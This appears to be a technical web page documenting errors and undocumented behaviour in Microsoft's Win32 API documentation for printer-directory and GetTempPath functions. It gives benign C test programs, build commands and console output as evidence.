The documentation for the Win32 function SetClassLongPtr() specifies in its Return value section:
If the function succeeds, the return value is the previous value of the specified offset. If this was not previously set, the return value is zero.

If the function fails, the return value is zero. To get extended error information, call GetLastError.

The documentation for the Win32 function SetClassWord() specifies in its Return value section:
If the function succeeds, the return value is the previous value of the specified 16-bit integer. If the value was not previously set, the return value is zero.

If the function fails, the return value is zero. To get extended error information, call GetLastError.

The documentation for the Win32 function SetWindowLong() specifies in its Return value section:
If the function succeeds, the return value is the previous value of the specified 32-bit integer.

If the function fails, the return value is zero. To get extended error information, call GetLastError.

If the previous value of the specified 32-bit integer is zero, and the function succeeds, the return value is zero, but the function does not clear the last error information. This makes it difficult to determine success or failure. To deal with this, you should clear the last error information by calling SetLastError with 0 before calling SetWindowLong. Then, function failure will be indicated by a return value of zero and a GetLastError result that is nonzero.

The documentation for the Win32 function SetWindowLongPtr() specifies in its Return value section:
If the function succeeds, the return value is the previous value of the specified offset.

If the function fails, the return value is zero. To get extended error information, call GetLastError.

If the previous value is zero and the function succeeds, the return value is zero, but the function does not clear the last error information. To determine success or failure, clear the last error information by calling SetLastError with 0, then call SetWindowLongPtr. Function failure will be indicated by a return value of zero and a GetLastError. result that is nonzero.

Blunder № 22

The documentation for the Win32 function GetDefaultPrinter() specifies:
The GetDefaultPrinter function retrieves the printer name of the default printer for the current user on the local computer.
BOOL GetDefaultPrinter(
  [in]      LPTSTR  pszBuffer,
  [in, out] LPDWORD pcchBuffer
);
[…]
pszBuffer [in]
A pointer to a buffer that receives a null-terminated character string containing the default printer name. If this parameter is NULL, the function fails and the variable pointed to by pcchBuffer returns the required buffer size, in characters.
[…]

If the function succeeds, the return value is a nonzero value and the variable pointed to by pcchBuffer contains the number of characters copied to the pszBuffer buffer, including the terminating null character.

If the function fails, the return value is zero.

Value Meaning
ERROR_INSUFFICIENT_BUFFER The pszBuffer buffer is too small. The variable pointed to by pcchBuffer contains the required buffer size, in characters.
ERROR_FILE_NOT_FOUND There is no default printer.
The documentation for the Win32 function GetPrinterDriverDirectory() specifies:
The GetPrinterDriverDirectory function retrieves the path of the printer-driver directory.
BOOL GetPrinterDriverDirectory(
  [in]  LPTSTR  pName,
  [in]  LPTSTR  pEnvironment,
  [in]  DWORD   Level,
  [out] LPBYTE  pDriverDirectory,
  [in]  DWORD   cbBuf,
  [out] LPDWORD pcbNeeded
);
[…]
pEnvironment [in]
A pointer to a null-terminated string that specifies the environment (for example, Windows x86, Windows IA64, or Windows x64). If this parameter is NULL, the current environment of the calling application and client machine (not of the destination application and print server) is used.
[…]
pcbNeeded [out]
A pointer to a value that specifies the number of bytes copied if the function succeeds, or the number of bytes required if cbBuf is too small.
[…]

If the function succeeds, the return value is a nonzero value.

If the function fails, the return value is zero.

[…]

Requirement Value
Unicode and ANSI names GetPrinterDriverDirectoryW (Unicode) and GetPrinterDriverDirectoryA (ANSI)
The documentation for the Win32 function GetPrintProcessorDirectory() specifies:
The GetPrintProcessorDirectory function retrieves the path to the print processor directory on the specified server.
BOOL GetPrintProcessorDirectory(
  [in]  LPTSTR  pName,
  [in]  LPTSTR  pEnvironment,
  [in]  DWORD   Level,
  [out] LPBYTE  pPrintProcessorInfo,
  [in]  DWORD   cbBuf,
  [out] LPDWORD pcbNeeded
);
[…]
pEnvironment [in]
A pointer to a null-terminated string that specifies the environment (for example, Windows x86, Windows IA64, or Windows x64). If this parameter is NULL, the current environment of the calling application and client machine (not of the destination application and print server) is used.
[…]
pcbNeeded [out]
A pointer to a value that specifies the number of bytes copied if the function succeeds, or the number of bytes required if cbBuf is too small.
[…]

If the function succeeds, the return value is a nonzero value.

If the function fails, the return value is zero.

[…]

Requirement Value
Unicode and ANSI names GetPrintProcessorDirectoryW (Unicode) and GetPrintProcessorDirectoryA (ANSI)
OOPS⁰: although the Win32 functions GetPrinterDriverDirectory() and GetPrintProcessorDirectory() are available for Unicode and ANSI, their output buffer is declared as array of bytes instead array of (wide) characters, and its size is counted in bytes instead of (wide) characters!

OUCH⁰: all 3 documentations fail to specify that extended error information is available through a call of the GetLastError() function!

Falsification

Perform the following 3 simple steps to show the blunder.
  1. Create the text file blunder.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    #include <winspool.h>
    
    __declspec(safebuffers)
    BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
    {
    	WCHAR	szOutput[1024];
    	DWORD	dwOutput;
    	DWORD	dwConsole;
    
    	va_list	vaInput;
    	va_start(vaInput, lpFormat);
    
    	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
    
    	va_end(vaInput);
    
    	if (dwOutput == 0UL)
    		return FALSE;
    
    	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
    		return FALSE;
    
    	return dwConsole == dwOutput;
    }
    
    const	LPCWSTR	lpEnvironment[] = {NULL,
    		                   L"",
    		                   L"Windows 4.0",
    		                   L"Windows NT x86",
    		                   L"Windows IA64",
    		                   L"Windows x64",
    		                   L"Windows x86"};
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	WCHAR	szBlunder[MAX_PATH];
    	DWORD	dwBlunder = sizeof(szBlunder) / sizeof(*szBlunder);
    	DWORD	dwEnvironment = 0UL;
    	DWORD	dwError = ERROR_SUCCESS;
    	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hError == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    	{
    		if (!GetDefaultPrinter(szBlunder, &dwBlunder))
    			PrintConsole(hError,
    			             L"GetDefaultPrinter() returned error %lu (%lu)\n",
    			             dwError = GetLastError(), dwBlunder);
    		else
    			PrintConsole(hError,
    			             L"GetDefaultPrinter() returned name \'%ls\' of %lu characters\n",
    			             szBlunder, dwBlunder);
    
    		if (!GetPrinterDriverDirectory((LPWSTR) NULL,
    		                               (LPWSTR) NULL,
    		                               1UL,
    		                               szBlunder,
    		                               0UL,
    		                               &dwBlunder))
    			PrintConsole(hError,
    			             L"GetPrinterDriverDirectory() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    			PrintConsole(hError,
    			             L"GetPrinterDriverDirectory() returned pathname \'%ls\' of %lu bytes\n",
    			             szBlunder, dwBlunder);
    
    		if (!GetPrintProcessorDirectory((LPWSTR) NULL,
    		                                (LPWSTR) NULL,
    		                                1UL,
    		                                NULL,
    		                                sizeof(szBlunder),
    		                                &dwBlunder))
    			PrintConsole(hError,
    			             L"GetPrintProcessorDirectory() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    			PrintConsole(hError,
    			             L"GetPrintProcessorDirectory() returned pathname \'%ls\' of %lu bytes\n",
    			             szBlunder, dwBlunder);
    		do
    		{
    			if (!GetPrinterDriverDirectory((LPWSTR) NULL,
    			                               lpEnvironment[dwEnvironment],
    			                               1UL,
    			                               szBlunder,
    			                               sizeof(szBlunder),
    			                               &dwBlunder))
    				PrintConsole(hError,
    				             L"GetPrinterDriverDirectory() returned error %lu for environment \'%ls\'\n",
    				             dwError = GetLastError(), lpEnvironment[dwEnvironment]);
    			else
    				PrintConsole(hError,
    				             L"GetPrinterDriverDirectory() returned pathname \'%ls\' of %lu bytes for environment \'%ls\'\n",
    				             szBlunder, dwBlunder, lpEnvironment[dwEnvironment]);
    
    			if (!GetPrintProcessorDirectory((LPWSTR) NULL,
    			                                lpEnvironment[dwEnvironment],
    			                                1UL,
    			                                szBlunder,
    			                                sizeof(szBlunder),
    			                                &dwBlunder))
    				PrintConsole(hError,
    				             L"GetPrintProcessorDirectory() returned error %lu for environment \'%ls\'\n",
    				             dwError = GetLastError(), lpEnvironment[dwEnvironment]);
    			else
    				PrintConsole(hError,
    				             L"GetPrintProcessorDirectory() returned pathname \'%ls\' of %lu bytes for environment \'%ls\'\n",
    				             szBlunder, dwBlunder, lpEnvironment[dwEnvironment]);
    		}
    		while (++dwEnvironment < sizeof(lpEnvironment) / sizeof(*lpEnvironment));
    	}
    
    	ExitProcess(dwError);
    }
  2. Compile and link the source file blunder.c created in step 1.:

    SET CL=/W4 /Zl
    SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    CL.EXE blunder.c kernel32.lib user32.lib winspool.lib
    Note: the command lines can be copied and pasted as block into a Command Processor window.
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    blunder.c(65) : warning C4133: 'function' : incompatible types - from 'WCHAR [260]' to 'LPBYTE'
    blunder.c(94) : warning C4090: 'function' : different 'const' qualifiers
    blunder.c(96) : warning C4133: 'function' : incompatible types - from 'WCHAR [260]' to 'LPBYTE'
    blunder.c(106) : warning C4090: 'function' : different 'const' qualifiers
    blunder.c(108) : warning C4133: 'function' : incompatible types - from 'WCHAR [260]' to 'LPBYTE'
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    kernel32.lib
    user32.lib
    winspool.lib
  3. Execute the console application blunder.exe built in step 2. and evaluate its exit code:

    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    GetDefaultPrinter() returned name 'Microsoft XPS Document Writer' of 30 characters
    GetPrinterDriverDirectory() returned error 122
    GetPrintProcessorDirectory() returned error 1784
    GetPrinterDriverDirectory() returned pathname 'C:\Windows\system32\spool\DRIVERS\x64' of 76 bytes for environment ''
    GetPrintProcessorDirectory() returned pathname 'C:\Windows\system32\spool\PRTPROCS\x64' of 78 bytes for environment ''
    GetPrinterDriverDirectory() returned pathname 'C:\Windows\system32\spool\DRIVERS\x64' of 76 bytes for environment ''
    GetPrintProcessorDirectory() returned pathname 'C:\Windows\system32\spool\PRTPROCS\x64' of 78 bytes for environment ''
    GetPrinterDriverDirectory() returned pathname 'C:\Windows\system32\spool\DRIVERS\WIN40' of 80 bytes for environment 'Windows 4.0'
    GetPrintProcessorDirectory() returned pathname 'C:\Windows\system32\spool\PRTPROCS\WIN40' of 82 bytes for environment 'Windows 4.0'
    GetPrinterDriverDirectory() returned pathname 'C:\Windows\system32\spool\DRIVERS\W32X86' of 82 bytes for environment 'Windows NT x86'
    GetPrintProcessorDirectory() returned pathname 'C:\Windows\system32\spool\PRTPROCS\W32X86' of 84 bytes for environment 'Windows NT x86'
    GetPrinterDriverDirectory() returned pathname 'C:\Windows\system32\spool\DRIVERS\IA64' of 78 bytes for environment 'Windows IA64'
    GetPrintProcessorDirectory() returned pathname 'C:\Windows\system32\spool\PRTPROCS\IA64' of 80 bytes for environment 'Windows IA64'
    GetPrinterDriverDirectory() returned pathname 'C:\Windows\system32\spool\DRIVERS\x64' of 76 bytes for environment 'Windows x64'
    GetPrintProcessorDirectory() returned pathname 'C:\Windows\system32\spool\PRTPROCS\x64' of 78 bytes for environment 'Windows x64'
    GetPrinterDriverDirectory() returned error 1805 for environment 'Windows x86'
    GetPrintProcessorDirectory() returned error 1805 for environment 'Windows x86'
    
    0x70d (WIN32: 1805 ERROR_INVALID_ENVIRONMENT) -- 1805 (1805)
    Error message text: The environment specified is invalid.
    CertUtil: -error command completed successfully.
    OUCH¹: the Win32 functions GetPrinterDriverDirectory() and GetPrintProcessorDirectory() exhibit undocumented behaviour – they provide extended error information via GetLastError(), for example the Win32 error code 122 alias ERROR_INSUFFICIENT_BUFFER, 1784 alias ERROR_INVALID_USER_BUFFER or 1805 alias ERROR_INVALID_ENVIRONMENT!

    OUCH²: the undocumented empty environment string is equivalent to NULL!

    OUCH³: the environment string Windows x86 specified in the documentation cited above is but invalid!

Note: a repetition of this falsification in the 64-bit execution environment is left as an exercise to the reader.

Blunder № 23

The documentation for the Win32 function GetTempPath() states:
Retrieves the path of the directory designated for temporary files.
DWORD GetTempPath(
  [in]  DWORD  nBufferLength,
  [out] LPTSTR lpBuffer
);
[…]

If the function succeeds, the return value is the length, in TCHARs, of the string copied to lpBuffer, not including the terminating null character.

[…]

The maximum possible return value is MAX_PATH+1 (261).

[…]

The GetTempPath function checks for the existence of environment variables in the following order and uses the first path found:

  1. The path specified by the TMP environment variable.
  2. The path specified by the TEMP environment variable.
  3. The path specified by the USERPROFILE environment variable.
  4. The Windows directory.
OOPS: in addition to the blunder demonstrated hereafter, this documentation fails to specify that lpBuffer can be 0 alias NULL if nBufferLength is 0 too.

Oops: there’s yet another (triple) omission in the documentation – The path specified by the […] environment variable. needs to be read as The absolute or relative path specified by the […] environment variable.

CAVEAT: the default value of the machine-specific environment variables TEMP and TMP is %SystemRoot%\TEMP, and the default value of the user-specific environment variables TEMP and TMP is %USERPROFILE%\AppData\Local\Temp, i.e. both reference another environment variable. If this one is undefined during creation of the environment block, the respective substring %SystemRoot% or %USERPROFILE% is not replaced with the value of the referenced environment variable and thus preserved. In consequence the GetTempPath() function returns the literal string %SystemRoot%\TEMP respectively %USERPROFILE%\AppData\Local\Temp, which is a valid relative path name. Since a subdirectory with this path name does almost always not exist in the CWD, programs which rely on the existence of the path returned from the GetTempPath() function are subject to fail!

The documentation for the Win32 function GetTempFileName() specifies:

Creates a name for a temporary file. If a unique file name is generated, an empty file is created and the handle to it is released; otherwise, only a file name is generated.
UINT GetTempFileName(
  [in]  LPCTSTR lpPathName,
  [in]  LPCTSTR lpPrefixString,
  [in]  UINT    uUnique,
  [out] LPTSTR  lpTempFileName
);
[…]

[in] lpPathName

The directory path for the file name. Applications typically specify a period (.) for the current directory or the result of the GetTempPath function. The string cannot be longer than MAX_PATH−14 characters or GetTempFileName will fail.

Falsification

Perform the following 5 simple steps to show the blunder and prove the highlighted statements of the documentation cited above wrong.
  1. Create the text file blunder.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    __declspec(safebuffers)
    BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
    {
    	WCHAR	szOutput[1024];
    	DWORD	dwOutput;
    	DWORD	dwConsole;
    
    	va_list	vaInput;
    	va_start(vaInput, lpFormat);
    
    	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
    
    	va_end(vaInput);
    
    	if (dwOutput == 0UL)
    		return FALSE;
    
    	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
    		return FALSE;
    
    	return dwConsole == dwOutput;
    }
    
    const	LPCWSTR	szVariable[] = {L"TMP", L"TEMP", L"USERPROFILE"};
    
    const	LPCWSTR	szValue[] = {L"",
    		             L" ",
    		             L"  ",
    		             L"   ",
    		             L"€",
    		             L".\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.",
    		             L".\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.",
    		             L"abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz",
    		             L"abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz",
    		             L"..",
    		             L"..\\..",
    		             L"..\\..\\..",
    		             L"..\\..\\..\\..",
    		             L"AUX",
    		             L"AUX:",
    		             L"CON:",
    		             L"NUL:",
    		             L"PRN:"};
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	WCHAR	szBlunder[MAX_PATH + 2];
    	DWORD	dwBlunder;
    	DWORD	dwVariable = 0UL;
    	DWORD	dwValue;
    	DWORD	dwError = ERROR_SUCCESS;
    	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hError == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    		do
    		{
    			memcpy(szBlunder, L"..", sizeof(L".."));
    
    			dwValue = 0UL;
    
    			do
    				if (!SetEnvironmentVariable(szVariable[dwVariable], szValue[dwValue]))
    					PrintConsole(hError,
    					             L"SetEnvironmentVariable() returned error %lu\n",
    					             dwError = GetLastError());
    				else
    				{
    					dwBlunder = GetTempPath(sizeof(szBlunder) / sizeof(*szBlunder),
    					                        szBlunder);
    					if (dwBlunder == 0UL)
    						PrintConsole(hError,
    						             L"GetTempPath() returned error %lu\n",
    						             dwError = GetLastError());
    					else
    					{
    						PrintConsole(hError,
    						             L"GetTempPath() returned pathname \'%ls\' of %lu characters for %ls=%ls of %lu characters\n",
    						             szBlunder, dwBlunder, szVariable[dwVariable], szValue[dwValue], wcslen(szValue[dwValue]));
    
    						if (GetTempFileName(szBlunder, L"tmp", 0U, szBlunder) == 0U)
    							PrintConsole(hError,
    							             L"GetTempFileName() returned error %lu\n",
    							             dwError = GetLastError());
    						else
    						{
    							PrintConsole(hError,
    							             L"GetTempFileName() returned pathname \'%ls\'\n",
    							             szBlunder);
    
    							if (!DeleteFile(szBlunder))
    								PrintConsole(hError,
    								             L"DeleteFile() returned error %lu\n",
    								             dwError = GetLastError());
    						}
    					}
    				}
    			while (++dwValue < sizeof(szValue) / sizeof(*szValue));
    
    			if (SetEnvironmentVariable(szVariable[dwVariable], (LPCWSTR) NULL))
    				continue;
    
    			PrintConsole(hError,
    			             L"SetEnvironmentVariable() returned error %lu\n",
    			             dwError = GetLastError());
    			break;
    		}
    		while (++dwVariable < sizeof(szVariable) / sizeof(*szVariable));
    
    	ExitProcess(dwError);
    }
  2. Compile and link the source file blunder.c created in step 1.:

    SET CL=/Oi /W4 /Zl
    SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    CL.EXE blunder.c kernel32.lib user32.lib
    Note: the command lines can be copied and pasted as block into a Command Processor window.
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    kernel32.lib
    user32.lib
  3. Execute the console application blunder.exe built in step 2. on Windows 7 (or an earlier version) and evaluate its exit code:

    VER
    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    Microsoft Windows [Version 6.1.7601]
    
    GetTempPath() returned pathname '..' of 1 characters for TMP= of 0 characters
    GetTempFileName() returned pathname '..\tmpB3CC.tmp'
    GetTempPath() returned pathname '..\tmpB3CC.tmp' of 1 characters for TMP=  of 1 characters
    GetTempFileName() returned error 267
    GetTempPath() returned pathname '..\tmpB3CC.tmp' of 1 characters for TMP=   of 2 characters
    GetTempFileName() returned error 267
    GetTempPath() returned pathname '..\tmpB3CC.tmp' of 1 characters for TMP=    of 3 characters
    GetTempFileName() returned error 267
    GetTempPath() returned pathname 'C:\Users\Stefan\Desktop\€\' of 26 characters for TMP=€ of 1 characters
    GetTempFileName() returned error 267
    GetTempPath() returned pathname 'C:\Users\Stefan\Desktop\' of 24 characters for TMP=.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\. of 129 characters
    GetTempFileName() returned pathname 'C:\Users\Stefan\Desktop\tmpB3DD.tmp'
    GetTempPath() returned pathname 'C:\Users\Stefan\AppData\Local\Temp\' of 35 characters for TMP=.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\. of 261 characters
    GetTempFileName() returned pathname 'C:\Users\Stefan\AppData\Local\Temp\tmpB3EE.tmp'
    GetTempPath() returned pathname 'C:\Users\Stefan\AppData\Local\Temp\' of 35 characters for TMP=abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz of 260 characters
    GetTempFileName() returned pathname 'C:\Users\Stefan\AppData\Local\Temp\tmpB3FF.tmp'
    GetTempPath() returned pathname 'C:\Users\Stefan\AppData\Local\Temp\' of 35 characters for TMP=abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz of 130 characters
    GetTempFileName() returned pathname 'C:\Users\Stefan\AppData\Local\Temp\tmpB414.tmp'
    GetTempPath() returned pathname 'C:\Users\Stefan\' of 16 characters for TMP=.. of 2 characters
    GetTempFileName() returned pathname 'C:\Users\Stefan\tmpB432.tmp'
    GetTempPath() returned pathname 'C:\Users\' of 9 characters for TMP=..\.. of 5 characters
    GetTempFileName() returned error 5
    GetTempPath() returned pathname 'C:\' of 3 characters for TMP=..\..\.. of 8 characters
    GetTempFileName() returned pathname 'C:\tmpB456.tmp'
    GetTempPath() returned pathname 'C:\' of 3 characters for TMP=..\..\..\.. of 11 characters
    GetTempFileName() returned pathname 'C:\tmpB477.tmp'
    GetTempPath() returned pathname '\\.\AUX\' of 8 characters for TMP=AUX of 3 characters
    GetTempFileName() returned error 267
    GetTempPath() returned pathname '\\.\AUX\' of 8 characters for TMP=AUX: of 4 characters
    GetTempFileName() returned error 267
    GetTempPath() returned pathname '\\.\CON\' of 8 characters for TMP=CON: of 4 characters
    GetTempFileName() returned error 267
    GetTempPath() returned pathname '\\.\NUL\' of 8 characters for TMP=NUL: of 4 characters
    GetTempFileName() returned error 267
    GetTempPath() returned pathname '\\.\PRN\' of 8 characters for TMP=PRN: of 4 characters
    GetTempFileName() returned error 267
    GetTempPath() returned pathname '..' of 1 characters for TEMP= of 0 characters
    GetTempFileName() returned pathname '..\tmpB499.tmp'
    GetTempPath() returned pathname '..\tmpB499.tmp' of 1 characters for TEMP=  of 1 characters
    GetTempFileName() returned error 267
    GetTempPath() returned pathname '..\tmpB499.tmp' of 1 characters for TEMP=   of 2 characters
    GetTempFileName() returned error 267
    GetTempPath() returned pathname '..\tmpB499.tmp' of 1 characters for TEMP=    of 3 characters
    GetTempFileName() returned error 267
    GetTempPath() returned pathname 'C:\Users\Stefan\Desktop\€\' of 26 characters for TEMP=€ of 1 characters
    GetTempFileName() returned error 267
    GetTempPath() returned pathname 'C:\Users\Stefan\Desktop\' of 24 characters for TEMP=.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\. of 129 characters
    GetTempFileName() returned pathname 'C:\Users\Stefan\Desktop\tmpB4BC.tmp'
    GetTempPath() returned pathname 'C:\Users\Stefan\' of 16 characters for TEMP=.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\. of 261 characters
    GetTempFileName() returned pathname 'C:\Users\Stefan\tmpB4DE.tmp'
    GetTempPath() returned pathname 'C:\Users\Stefan\' of 16 characters for TEMP=abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz of 260 characters
    GetTempFileName() returned pathname 'C:\Users\Stefan\tmpB503.tmp'
    GetTempPath() returned pathname 'C:\Users\Stefan\' of 16 characters for TEMP=abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz of 130 characters
    GetTempFileName() returned pathname 'C:\Users\Stefan\tmpB543.tmp'
    GetTempPath() returned pathname 'C:\Users\Stefan\' of 16 characters for TEMP=.. of 2 characters
    GetTempFileName() returned pathname 'C:\Users\Stefan\tmpB56F.tmp'
    GetTempPath() returned pathname 'C:\Users\' of 9 characters for TEMP=..\.. of 5 characters
    GetTempFileName() returned error 5
    GetTempPath() returned pathname 'C:\' of 3 characters for TEMP=..\..\.. of 8 characters
    GetTempFileName() returned pathname 'C:\tmpB578.tmp'
    GetTempPath() returned pathname 'C:\' of 3 characters for TEMP=..\..\..\.. of 11 characters
    GetTempFileName() returned pathname 'C:\tmpB58F.tmp'
    GetTempPath() returned pathname '\\.\AUX\' of 8 characters for TEMP=AUX of 3 characters
    GetTempFileName() returned error 267
    GetTempPath() returned pathname '\\.\AUX\' of 8 characters for TEMP=AUX: of 4 characters
    GetTempFileName() returned error 267
    GetTempPath() returned pathname '\\.\CON\' of 8 characters for TEMP=CON: of 4 characters
    GetTempFileName() returned error 267
    GetTempPath() returned pathname '\\.\NUL\' of 8 characters for TEMP=NUL: of 4 characters
    GetTempFileName() returned error 267
    GetTempPath() returned pathname '\\.\PRN\' of 8 characters for TEMP=PRN: of 4 characters
    GetTempFileName() returned error 267
    GetTempPath() returned pathname '..' of 1 characters for USERPROFILE= of 0 characters
    GetTempFileName() returned pathname '..\tmpB5C6.tmp'
    GetTempPath() returned pathname '..\tmpB5C6.tmp' of 1 characters for USERPROFILE=  of 1 characters
    GetTempFileName() returned error 267
    GetTempPath() returned pathname '..\tmpB5C6.tmp' of 1 characters for USERPROFILE=   of 2 characters
    GetTempFileName() returned error 267
    GetTempPath() returned pathname '..\tmpB5C6.tmp' of 1 characters for USERPROFILE=    of 3 characters
    GetTempFileName() returned error 267
    GetTempPath() returned pathname 'C:\Users\Stefan\Desktop\€\' of 26 characters for USERPROFILE=€ of 1 characters
    GetTempFileName() returned error 267
    GetTempPath() returned pathname 'C:\Users\Stefan\Desktop\' of 24 characters for USERPROFILE=.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\. of 129 characters
    GetTempFileName() returned pathname 'C:\Users\Stefan\Desktop\tmpB5E3.tmp'
    GetTempPath() returned pathname 'C:\Windows\' of 11 characters for USERPROFILE=.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\. of 261 characters
